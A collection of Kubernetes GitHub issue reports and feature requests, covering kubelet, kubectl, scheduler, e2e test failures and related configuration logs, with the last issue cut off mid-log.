disk.\r this seems quite hard to reproduce, but it is happening consistently in one of our customer's resource group  westeurope .\r \r   anything else we need to know?  :\r \r   the vmss looks healthy. all instances are in provisioningstate “succeeded”.\r   the disk attaches after executing\r       console\r    $ az vmss update -g cjm1-cust-z0 -n k8s-cust-20422154-vmss --instance-id 11\r       \r \r   environment  :\r - kubernetes version:  release-1.12  branch  kubernetes/kubernetes@e94e2ecda3bb3e7a44205169693d7ab420b92035 \r - cloud provider: azure  via aks-engine \r - os: ubuntu 16.04.6 lts\r - kernel: 4.15.0-1042-azure\r - install tools:  aks-engine  https://github.com/azure/aks-engine \r - network plugin and version:\r - others:\r \r  paging @andyzhangx @feiskyer

they are used  or will be used  by - scheduler - kubelet - rescheduler   12140  - vertical autoscaler   8157  - updater   8157   @dchen1107 @gmarek @fgrzadkowski

run once pods are not well accounted for by the current quota system, because run-always pods can absorb the quota and prevent jobs from running  builds, scheduled tasks .  we discussed today a \ pods per unit time\  measure with \ max run once pods\  that allow for users to run short jobs in parallel or over a longer time.  since run always pods are typically \ run up to n pods that run 24 hours a day\ , it's natural to want to state \ run up to 3 pods at most 6 hours a day\ .  whether that is 6 hours for one pod or 2 hours for each of 3, the end metric would be applied.  this may be continually refilling  useful .

creating a third party resource type from https://gist.github.com/mjg59/b24995501a7064b0b2e1768b7fe71426 , adding an object  https://gist.github.com/mjg59/98b85a924fddecbd08018f1e2f60e17d  and then running https://gist.github.com/mjg59/3c4a2ef23bc0844342774d1ed71f46fc gives a stream of:  new policy e0521 00:33:16.589647   31839 streamwatcher.go:109  unable to decode an event from the watch stream: got invalid watch event type:  w0521 00:33:16.589717   31839 reflector.go:343  k8s.io/kubernetes/cmd/watchtest/watchtest.go:70: watch of  api.node ended with: very short watch updated policy e0521 00:33:17.592341   31839 streamwatcher.go:109  unable to decode an event from the watch stream: got invalid watch event type:  w0521 00:33:17.592365   31839 reflector.go:343  k8s.io/kubernetes/cmd/watchtest/watchtest.go:70: watch of  api.node ended with: very short watch updated policy e0521 00:33:18.595440   31839 streamwatcher.go:109  unable to decode an event from the watch stream: got invalid watch event type:  w0521 00:33:18.595475   31839 reflector.go:343  k8s.io/kubernetes/cmd/watchtest/watchtest.go:70: watch of  api.node ended with: very short watch  repeating forever. this is with current master and https://github.com/sitepod/kubernetes/commit/d0e9c029cbe7379f386fc2a6696824df604dfd0d applied.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/307/  failed:  k8s.io  disruptioncontroller should create a poddisruptionbudget {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:55 expected error:     < url.error | 0xc420dcc360>: {         op: \ post\ ,         url: \ https://35.164.79.104/apis/policy/v1beta1/namespaces/e2e-tests-disruption-4g9yj/poddisruptionbudgets\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 164, 79, 104 ,                 port: 443,                 zone: \ \ ,             },             err: {},         },     }     post https://35.164.79.104/apis/policy/v1beta1/namespaces/e2e-tests-disruption-4g9yj/poddisruptionbudgets: dial tcp 35.164.79.104:443: i/o timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:197

printers issues\r \r -  x   38907 kubectl get broken for list \r -      38779 update kubectl.getprinter to not return both nil for the printer and nil for the error on  wide  format\r -  x   38327 kubectl get -o yaml probably/maybe shouldn't filter pods\r -      36733 kubectl get node s  should show all node conditions\r -      36304 \ kubectl get events\  or something else should give a sensible timeline of events\r -  x   34232 fatal error while running  kubectl get .... \r -      34146 kubectl / kubernetes not 100% compatible with yaml 1.2\r -      33817 printeventlist is only used for watch-only and not for get event list\r -      31943 strange kubectl get output\r -      31344 bug: namespaces not shown when querying 3prs across all namespaces\r -      30970 kubectl panics when getting sorted replica set\r -      29472 wip: proposal for moving \ printers\   kubectl get  to the server\r -      28754 add warning for  kubectl get rs  for hidden objects\r -      28551 possible bug:  kubectl get svc --export  omits  nodeport \r -      28190 feature request:  kubectl  should output  age  as elapsed time in current state\r -      27212  kubectl get rs  should be ordered better and hide 0 replica ones by default\r -  x   25579 add software versions to \ kubectl get nodes -o wide\  output\r -      20374 kubectl get cluster\r -  x   15853 kubectl get in namespace with no objects returns nothing\r -      15179  kubectl get pods  behavior differs based on output mode wrt failed pods\r -      11994 kubectl: no way to list events about a specific object\r -      11338 kubectl get -w doesn't clearly reflect resource deletions\r -      10311 sort yaml/json fields more helpfully when printing objects\r -      8329  kubectl get services  should warn the user if the service has no endpoints\r -      36222 configmap pretty display\r -      30785 kubectl doesn't reflect pod condition\r -      29679 kubectl view commands\r -      29271 kubectl -n should support both  -n namespace/yournamespace  and  -n yournamespace \r -      14905 json output format directive overrides templates\r -      39147 include more info about deployments in  get -o wide \r \r     describers issues\r \r -      38698 deployment description lacks basic info\r -      38697 replica set sizes are messed in the description of a deployment\r -      37576 how kubectl explain and describe output could be improved for external consumers\r -      32699 gke: kubectl client kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance \r -      30555 need to add more information in pv and pvc description\r -      29876 kubectl pod status: describe does not match get\r -      29651 petset describer should show the pod template, like rc / d / ds\r -      25353 kubectl describe doesn't support json output\r -      25251 stabilize describer outputs\r -      25160 pod status does not reflect 'reason' codes for failures that one sees when doing kubectl describe pod <podname>\r -      23380 kubectl describe doesn't show annotations\r -      22702 clarify kubectl get/describe service output\r -      20941 make kubectl describers and resource printers more consistent\r -      10885 kubectl describe pod does not show events for static pods\r -      10674 kubectl describe - undocumented feature: resources are matched by prefix\r -      4471 describers should be able to print objects from somewhere besides the server\r -      3731 need consistent printing for name, namespace, etc\r -      32883 kubectl describe should be resilient to errors in fetching related info\r -      13501 printevent source to much more cleaner \r \r     jsonpath issues\r \r -      37991 kubectl -o jsonpath throws an error if field is not present in json\r -      36391 jsonpath not drilling down into an rs .spec.template.metadata.name\r -      28678 kubectl jsonpath doesn't allow use of  true  or  false  keywords\r -      27090 kubectl get -o jsonpath does not handle objects with rawextension\r -      23386 jsonpath fails to return keys containing dots in a map\r -      20352 jsonpath nested condition and multiple conditions are not working\r -      16707 jsonpath template output should be json\r -      15584 jsonpath implementation should support \ $\  for root in filters\r -      14129 unable to use kubectl get with a fieldselector \r -      12771 jsonpath output needs a quote operator to safely generate arguments\r -      15858 cannot format a selector with jsonpath\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/938/ failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:271 mar 17 15:54:57.431: memory usage exceeding limits:  node gke-bootstrap-e2e-default-pool-65fad7f1-sbpq:  container \ kubelet\ : expected rss memory  mb  < 104857600; got 109293568 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:155       previous issues for this test:  26982  32214  33994  34035  35399  38209

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no, although i might be misreading some code.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r scheduler extender\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request.\r \r from what i can tell by reading  the initialization code  https://github.com/kubernetes/kubernetes/blob/1c315c64bacb18f4748ba718026b431a67a31cbe/plugin/pkg/scheduler/factory/factory.go l309-l342 , a scheduler with a policy configuration specified must fully-specify  all  predicates and  that the scheduler should run with.\r \r it would be vastly more convenient if the policy configuration could specify an existing algorithm  e.g.  defaultprovider   instead of the full policy behavior.\r \r if fully-extending this feature, it would also be nice to be able to extend existing algorithms, perhaps by listing predicates &  to add or remove.\r \r

the scripts https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/code-generator/generate-groups.sh and https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/code-generator/generate-internal-groups.sh were created to provide a standardized way of calling the generators for 90% of the crd and uas usa-cases. the command-line interface is simplistic, driven by the bash implementation rather than stability and extensibility in mind:\r \r    shell\r $ generate-groups.sh <generators> <output-package> <internal-apis-package> <extensiona-apis-package> <groups-versions> ...\r    \r \r i.e. the options are positional without flags syntax. adding another option is impossible. because https://github.com/kubernetes/kubernetes/pull/53449 should go into 1.8 as early as possible to give crd users a tool to create especially deepcopy funcs easily, a proper go implementation was out of reach because it is needs more changes, e.g. in gengo  now merged . but mid-term we probably want to convert this to go.\r \r it was also suggested to turn k8s.io/code-generator into a docker container to make it even easier to 3rdparties to generate code for kubernetes style api types:\r \r    shell\r $ docker run -v $gopath:/go k8s.io/code-generator:1.8 generate-group github.com/foo/bar example:v1\r    \r \r another line of thought is the question how and whether to use this also in kubernetes itself instead of our pretty complex  makefile.generated_files  mechanism.

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since 2017-11-15.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking periodic-kubernetes-e2e-debs-pushed\r \r i'm actually pretty opposed to https://github.com/kubernetes/test-infra/pull/5441 having introduced this job into the release-master-blocking dashboard with no sign-off or input by @kubernetes/sig-release-test-failures.  it would have been far more preferable to introduce this job to sig-cluster-lifecycle's dashboard, prove to sig-release it was green and stable, _then_ introduce it as a release-blocker.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r there're different groups of nodes in one k8s cluster, and not all the nodes are open to every user, or open on the psp to all the nodes. e.g. one service account has privileged permission. it means that the service account can create any pod on any node, and can act as root to the os.\r \r   what you expected to happen  :\r it would be like that psp can be defined with node selector. with this definition, one pod, which has the allowed psp actions, is scheduled to the selected nodes, instead of other nodes.\r \r /cc @kubernetes/sig-auth-feature-requests

i've created/reviewed multiple changes around code freeze that purely touch test code or testing framework. the convention fmu is that we need  kind/x  label as a precondition for milestone prs to be merged, where allowed x values are bug/feature/cleanup. imo there should be another category for 'test'  which often doesn't fall into any of earlier categories . it'll make flagging/explaining such changes to release team easier.\r \r cc @kubernetes/sig-release-feature-requests @kubernetes/test-infra-maintainers

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r 1. set  --protect-kernel-defaults=true  in kubelet.service, reload & restart kubelet.service, it runs well.\r 2. restart host. kubelet.service fails to start. below is the log from  journalctl -u kubelet  \r    \r jul 16 13:39:43 hostname hyperkube 779 : f0716 13:39:43.007658     779 \r kubelet.go:1335  failed to start containermanager  invalid kernel flag: kernel/panic_on_oops, expected value: 1, actual value: 0, invalid kernel flag: vm/overcommit_memory, expected value: 1, actual value: 0, invalid kernel flag: kernel/panic, expected value: 10, actual value: 0 \r jul 16 13:39:43 hostname systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r jul 16 13:39:43 hostname systemd 1 : kubelet.service: unit entered failed state.\r jul 16 13:39:43 hostname systemd 1 : kubelet.service: failed with result 'exit-code'.\r jul 16 13:39:53 hostname systemd 1 : kubelet.service: service hold-off time over, scheduling restart.\r jul 16 13:39:53 hostname systemd 1 : stopped kubelet service.\r    \r    \r   systemctl status kubelet.service\r ● kubelet.service - kubelet service\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: enabled \r    active: activating  auto-restart   result: exit-code  since mon 2018-07-16 13:39:53 utc; 6s ago\r      docs: https://github.com/kubernetes/kubernetes\r   process: 1567 execstart=/opt/kubernetes/hyperkube kubelet --protect-kernel-defaults=true  code=exited, status=255 \r  main pid: 1567  code=exited, status=255 \r \r jul 16 13:39:53 hostname systemd 1 : kubelet.service: unit entered failed state.\r jul 16 13:39:53 hostname systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r 3. remove  --protect-kernel-defaults=true , and restart host, kubelet.service can run successfully.\r \r why this happens? below is my kubelet.service file\r    \r  unit \r description=kubelet service\r documentation=https://github.com/kubernetes/kubernetes\r \r  service \r environmentfile=-/etc/environment\r execstart=/opt/kubernetes/hyperkube kubelet \\\r   --protect-kernel-defaults=true\r \r restart=always\r restartsec=10\r \r  install \r wantedby=multi-user.target\r    \r \r   what you expected to happen  :\r add  --protect-kernel-defaults=true  and restart host, kubelet.service and can run. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux hostname 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r \r the tests in  pkg/scheduler/algorithmprovider/defaults/compatibility_test.go  ensure backwards compatibility with the types in  pkg/scheduler/api . it makes more sense for these tests to live in that package.\r \r   /help\r /good-first-issue

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gci-gce-reboot  in  sig-release-master-blocking gce-cos-master-reboot  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-reboot \r \r   which test s  are flaking  :\r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on \r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart \r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart \r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards \r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards \r     sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart \r \r   since when has it been flaking  :\r for about 20% of the time over the last 2 weeks.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-reboot\r \r   reason for failure  :\r various versions of timeouts, for example  taken from separate runs , either:\r    \r feb 27 11:16:21.126: test failed; at least one node failed to reboot in the time given.\r    \r  or\r    \r i0227 11:16:21.187  feb 27 11:16:21.175: info: event for fluentd-gcp-scaler-85cdd7d7c5-z29nw: {kubelet err-e2e-minion-group-g6dp} failedmount: mountvolume.setup failed for volume \ fluentd-gcp-scaler-token-hqrcg\  : couldn't propagate object cache: timed out waiting for the condition\r    \r \r   / \r cc @smourapina @alejandrox1 @kacole2 @mortent \r

we already have  google.golang.org/grpc/health/grpc_health_v1alpha/...  in godeps. my understanding is that all grpc implementations should be interoperable for health checks and, if they're not, it's a bug.   add a new health check type  grpc  with an optional  service  name. per  the official documentation  https://github.com/grpc/grpc/blob/master/doc/health-checking.md , an empty name triggers a check for generic health of the whole server, no matter how many grpc services it understands. the backend is expected to implement service  /grpc.health.v1alpha.health 's check   method, in addition, of course, to whatever other services it supports to do real work. sending health checks through other random protobuf service definitions is not in scope.  i can work on this if nobody else steps up. this issue is really about getting feedback. i assume the only contentious point is whether we want to tie ourselves to the  v1alpha  service name.

background  for applications that need to use host local filesystem, we need some level of node-affinity in case when the application pod get wiped out on some host, we want the host to be of high  the pod gets rescheduled.  at the beginning, the application might not care where it is going to be deployed. however, once it gets scheduled onto some node, the node should keep in mind  by adding a label or annotation  that this application has been deployed onto itself and should be able to get high  time with the same app.    use case:  applications wishing to use this  need to add a label  or annotation  so that the  can decide whether to run against the application. an example would be:      {   \ kind\ : \ pod\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ \ ,     \ labels\ : {       \ name\ : \ \      },     \ generatename\ : \ \ ,     \ namespace\ : \ \ ,     \ annotations\ : {         \ usepriorityfunction\ : \ mypriorityfunction\      }   },   \ spec\ : {      ....    } }      when first time deployed, this  will have no effect because no node has information of having deployed this app. so the application will be deployed just like without this  once it gets deployed, the node will start having the history of hosting this application. now, for some reason, the application pod gets wiped out  while the node is still working , a new pod will be scheduled. this time the node will have the information of hosting the application thus the  will put this node in a high priority. the app-hosting history can be stored as an annotation of the node.    benefits  application intending to use node filesystem has low chance of losing data.

found while writing the federation replicaset guide:  steps to repro: - register a cluster c1 for federation. - create a federation replicaset with x replicas. - observe that a replicaset is created in the cluster c1 with x replicas. - now register another cluster c2 for federation.  expected: - the replicaset is also created in cluster c2 with x/2 replicas. replica set in cluster c1 is scaled down from x to x/2 replicas.  actual: - replicaset not created in cluster c2. replicaset in cluster c1 continues to have x replicas.  cc @kubernetes/sig-cluster-federation

hello,\r \r brand new to kubernetes, i read through: http://kubernetes.io/docs/getting-started-guides/kubeadm/\r \r it's not clear what either cni stands for nor what/where add-on.yaml can be obtained from.\r \r \ anyway, arm had some issues when\  - the anyway here is redundant and makes the docs sound informal.\r \r \ and obviously replace arch=amd64\  - i don't think words like \ obviously\  should be used in docs as it belittles the user.\r \r this guide should provide a link to http://kubernetes.io/docs/user-guide/ui/ to get a first time user up and running with the dashboard.\r \r thanks,

misses the image i run, we can argue about more fields too\r    \r $ kc describe deploy\r name:\t\t\tnginx\r namespace:\t\tdefault\r creationtimestamp:\ttue, 13 dec 2016 14:54:23 +0100\r labels:\t\t\tname=nginx-undo\r selector:\t\tname=nginx-undo\r replicas:\t\t2 updated | 842354255776 total | 2 available | 2 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r oldreplicasets:\tnginx-2812786133  0/842353733888 replicas created , nginx-3142235609  0/842353338192 replicas created , nginx-3224745434  0/842353205456 replicas created , nginx-3389568476  0/842353077040 replicas created , nginx-3719214560  0/842352825968 replicas created , nginx-3472012765  0/842352977168 replicas created , nginx-3554522590  0/842352983344 replicas created , nginx-3225007578  0/842353207792 replicas created , nginx-3307255259  0/842353211664 replicas created , nginx-3554325982  0/842352981216 replicas created , nginx-3554391518  0/842352981888 replicas created , nginx-3801593313  0/842352648352 replicas created , nginx-2895164886  0/842353736848 replicas created , nginx-314819091  2/842353341736 replicas created , nginx-3224876506  0/842353206624 replicas created , nginx-3389765084  0/842353079280 replicas created , nginx-3471947229  0/842352976640 replicas created , nginx-3142497753  0/842353340608 replicas created , nginx-3389371868  0/842353075296 replicas created , nginx-3472143837  0/842352978496 replicas created , nginx-3636704735  0/842352821328 replicas created , nginx-3636835807  0/842352822656 replicas created , nginx-3224614362  0/842353343440 replicas created , nginx-3719083488  0/842352824736 replicas created , nginx-3636770271  0/842352822096 replicas created , nginx-3883972066  0/842352650160 replicas created , nginx-3060119000  0/842353337088 replicas created , nginx-3224810970  0/842353206032 replicas created , nginx-3306993115  0/842353209440 replicas created , nginx-3472078301  0/842352977920 replicas created , nginx-3554194910  0/842352979760 replicas created , nginx-3307386331  0/842353212912 replicas created , nginx-3389634012  0/842353077616 replicas created , nginx-3554457054  0/842352982512 replicas created \r newreplicaset:\tnginx-3966416355  2/842352651248 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   4m\t\t4m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-314819091 to 3\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3189421475 to 1\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-314819091 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3189421475 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3189421475 to 0\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3271800228 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3271800228 to 0\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3354178981 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3354178981 to 0\r   3m\t\t1s\t\t171\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\t events with common reason combined \r    \r @kubernetes/kubectl @kubernetes/sig-cli @kubernetes/deployment

installed by kubeadm, after a master role kubelet is restarted, it's master role  kubeadm.alpha.kubernetes.io/role=master  will lost:\r \r got\r    \r role:\t\t\t\r labels:\t\t\talpha.kubernetes.io/fluentd-ds-ready=true\r \t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tkubernetes.io/hostname=e2e-ubuntu\r    \r expected\r    \r role:\t\t\tmaster\r labels:\t\t\talpha.kubernetes.io/fluentd-ds-ready=true\r \t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tkubeadm.alpha.kubernetes.io/role=master\r \t\t\tkubernetes.io/hostname=e2e-ubuntu\r    \r \r it is due to kubeadm only set master role to node during first deploy.\r i will try to work out a patch to fix this.

45896 added container garbage collection when under disk pressure.\r currently, we do not know how much disk space is reclaimed by deleting containers, and thus may still evict pods even if container garbage collection was successful.\r \r cc @vishh

kubetest  currently emits the client and server versions it detects, but ideally we'd like to compare the server version with the client version  compiled into  e2e.test  , and we'd also like to emit this in contexts where  kubetest  might not be involved.   currently https://github.com/heptio/kube-conformance which we use for official conformance testing is not using  kubetest , but we hope to stop doing that. \r \r  /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i tried creating a configmap from a file. the file's name does not meet the validation specifications for a configmap data key. this causes kubectl to forgo creating the configmap.\r \r   what you expected to happen  :\r i expect that the configmap is created regardless of which characters occur in the file-name. reasoning behind this is that a configmap can be mounted as a volume. all keys in the configmap's data option are then mapped as file-names into the volume. i would expect file-names to be valid keys. or an option to specify the file name if i mount the configmap as a volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a file and place a '@' in its name.\r - use  kubectl create configmap name --from-file <insert filepath>  to create a configmap\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.7.0 \r - cloud provider or hardware configuration:  minikube \r - os  e.g. from /etc/os-release :  windows 10 \r - kernel  e.g.  uname -a  :\r - install tools: \r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubelet does not update cni configuration file\r \r   what you expected to happen  :\r kubelet updates cni configuration file\r \r   anything else we need to know?  :\r no one node in cluster is working. but api server anyway shows node status as ready\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux kube-node-01 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux\r    \r - others:\r    \r feature_gate.go:220  feature gates: &{{} map  }\r controller.go:114  kubelet config controller: starting controller\r controller.go:118  kubelet config controller: validating combination of defaults and flags\r server.go:182  version: v1.9.2\r feature_gate.go:220  feature gates: &{{} map  }\r plugins.go:101  no cloud provider specified.\r server.go:428  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s}\r container_manager_linux.go:266  creating device plugin manager: false\r kubelet.go:313  watching apiserver\r kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r kubelet.go:571  hairpin mode set to \ hairpin-veth\ \r client.go:80  connecting to docker on unix:///var/run/docker.sock\r client.go:109  start docker client with request timeout=2m0s\r docker_service.go:232  docker cri networking managed by cni\r docker_service.go:237  docker info: &{id:encn:d6xe:ybbw:vd5y:dmhn:lnjt:xaod:7da5:vequ:ko36:w5yh:dvge containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:0 driver:overlay2 driverstatus:  backing filesystem extfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog } memorylimit:true swaplimit:false kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:false bridgenfip6tables:false debug:false nfd:20 oomkilldisable:true ngoroutines:33 systemtime:2018-02-10t09:28:58.381695107z loggingdriver:journald cgroupdriver:cgroupfs neventslistener:0 kernelversion:4.9.0-5-amd64 operatingsystem:debian gnu/linux 9  stretch  ostype:linux architecture:x86_64 indexserveraddress:https://index.docker.io/v1/ registryconfig:0xc4202cce70 ncpu:8 memtotal:16830828544 genericresources:   dockerrootdir:/var/lib/docker httpproxy: httpsproxy: noproxy: name:kube-node-01 labels:   experimentalbuild:false serverversion:17.12.0-ce clusterstore: clusteradvertise: runtimes:map runc:{path:docker-runc args:  }  defaultruntime:runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 cluster:<nil>} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id:89623f28b87a6004d4b785663257362d1658a729 expected:89623f28b87a6004d4b785663257362d1658a729} runccommit:{id:b2567b37d7b75eb4cf325b77297b140ea686ce8f expected:b2567b37d7b75eb4cf325b77297b140ea686ce8f} initcommit:{id:949e6fa expected:949e6fa} securityoptions: name=seccomp,profile=default }\r docker_service.go:250  setting cgroupdriver to cgroupfs\r remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r kuberuntime_manager.go:186  container runtime docker initialized, version: 17.12.0-ce, apiversion: 1.35.0\r server.go:755  started kubelet\r kubelet.go:1275  image garbage collection failed once. stats initialization may not have completed yet: failed to get 